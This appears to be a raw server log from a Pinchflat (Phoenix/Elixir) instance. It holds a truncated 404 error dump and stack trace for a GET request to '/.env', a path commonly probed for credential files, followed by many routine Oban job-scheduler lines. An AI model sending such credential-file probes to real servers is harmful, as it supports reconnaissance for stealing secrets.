Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.5"}, {"host", "pinchflat.8layer8.com"}, {"priority", "u=0, i"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"te", "trailers"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGl5Idn1QTaQx0ABEeC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17800.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 57832}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "priority" => "u=0, i", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "te" => "trailers", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.17800.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 57832}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.5", "host" => "pinchflat.8layer8.com", "priority" => "u=0, i", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "te" => "trailers", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, (truncated) 10:48:49.601 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.613 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:49:19.603 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:49.605 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.614 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:50:19.606 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:49.608 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.615 [info] {"source":"oban","duration":339,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:51:19.609 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:49.611 [info] {"source":"oban","duration":820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.616 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:52:19.613 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:49.615 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.617 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:53:19.616 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:49.617 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.618 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:54:19.618 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:49.619 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.620 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:55:19.620 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:49.621 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.620 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:56:19.622 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:49.623 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.621 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:57:19.624 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:49.625 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.622 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:58:19.626 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:49.627 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.623 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:59:19.628 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:49.629 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.624 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:00:19.630 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:49.631 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.625 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:01:19.632 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:49.634 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.626 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:02:19.635 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:49.636 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.627 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:03:19.637 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:49.638 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.628 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:04:19.639 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:49.640 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.629 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:05:19.641 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:49.642 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.630 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:06:19.643 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:49.644 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.631 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:07:19.645 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:49.646 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.632 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:08:19.647 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:49.648 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.633 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:09:19.649 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:49.650 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.634 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:10:19.651 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:49.652 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.635 [info] {"source":"oban","duration":321,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:11:19.653 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:49.654 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.636 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:12:19.656 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:49.657 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.637 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:13:19.658 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:49.659 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.638 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:14:19.660 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:49.661 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.639 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:15:19.662 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:49.663 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.641 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:16:19.664 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:49.666 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.642 [info] {"source":"oban","duration":344,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:17:19.668 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:49.669 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.642 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:18:19.670 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:49.671 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.644 [info] {"source":"oban","duration":402,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:19:19.672 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:49.673 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.644 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:20:19.674 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:49.675 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.645 [info] {"source":"oban","duration":303,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:21:19.677 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:49.678 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.646 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:22:19.679 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:49.680 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.647 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:23:19.681 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:49.682 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.648 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:24:19.683 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:49.684 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.649 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:25:19.685 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:49.686 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.650 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:26:19.688 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:49.689 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.651 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:27:19.690 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:49.691 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.652 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:28:19.692 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:49.693 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.653 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:29:19.695 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:49.696 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.654 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:30:19.698 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:49.699 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.655 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:31:19.700 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:49.701 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.656 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:32:19.702 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:49.703 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.657 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:33:19.705 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:49.706 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.658 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:34:19.707 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:49.708 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.659 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:35:19.709 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:49.710 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.660 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:36:19.712 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:49.713 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.661 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:37:19.715 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:49.716 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.662 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:38:19.717 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:49.718 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.663 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:39:19.719 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:49.720 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.664 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:40:19.722 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:49.723 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.665 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:41:19.724 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:49.725 [info] {"source":"oban","duration":902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.666 [info] {"source":"oban","duration":66,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:42:19.727 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:49.728 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.667 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:43:19.729 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:49.731 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.668 [info] {"source":"oban","duration":316,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:44:19.733 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:49.734 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.669 [info] {"source":"oban","duration":357,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:45:19.735 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:49.736 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.670 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:46:19.737 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:49.738 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.671 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:47:19.739 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:49.741 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.672 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:48:19.742 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:49.743 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.673 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:49:19.744 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:49.745 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.674 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:50:19.746 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:49.747 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.675 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:51:19.748 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:49.750 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.676 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:52:19.751 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:49.752 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.677 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:53:19.753 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:49.754 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.678 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:54:19.755 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:49.756 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.679 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:55:19.757 